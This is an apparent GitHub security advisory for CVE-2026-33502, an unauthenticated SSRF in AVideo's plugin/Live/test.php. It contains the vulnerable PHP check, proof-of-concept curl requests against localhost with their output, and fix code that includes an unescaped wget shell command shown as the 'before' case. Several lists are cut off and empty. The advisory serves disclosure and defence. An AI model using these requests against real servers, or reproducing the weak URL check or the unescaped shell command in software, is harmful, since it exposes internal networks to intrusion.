wwbn/avideo
Affected
- introduced
0, last affected26.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-33502
AVideo has Unauthenticated SSRF via plugin/Live/test.php
Summary
An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.
Details
The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
exit;
}
It then calls:
$result = url_get_contents($statsURL, 2);
Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:
$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));
There is:
Validated on source:
PoC
Target used during validation:
http://127.0.0.1:80
curl -s \
'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'
Observed response excerpt:
Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL
curl -s \
'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'
This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.
Impact
This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.
An attacker can:
The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.
remediation
The safest fix is to remove plugin/Live/test.php from production deployments.
If it must remain:
Minimal hardening example:
require_once dirname(__FILE__) . '/../../videos/configuration.php';
if (!User::isAdmin()) {
http_response_code(403);
exit('Forbidden');
}
$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
exit('Unsafe URL');
}
Remove wget Fallback Entirely
The wget fallback provides no unique value over file_get_contents + curl and introduces shell exposure. Remove lines 94–119 of test.php.
If wget must remain, escape the argument:
// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";
Defense in Depth
isSSRFSafeURL() check (already exists in objects/functions.php) before any fetchCritical Basis: The source's own band: CRITICAL
0, last affected 26.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0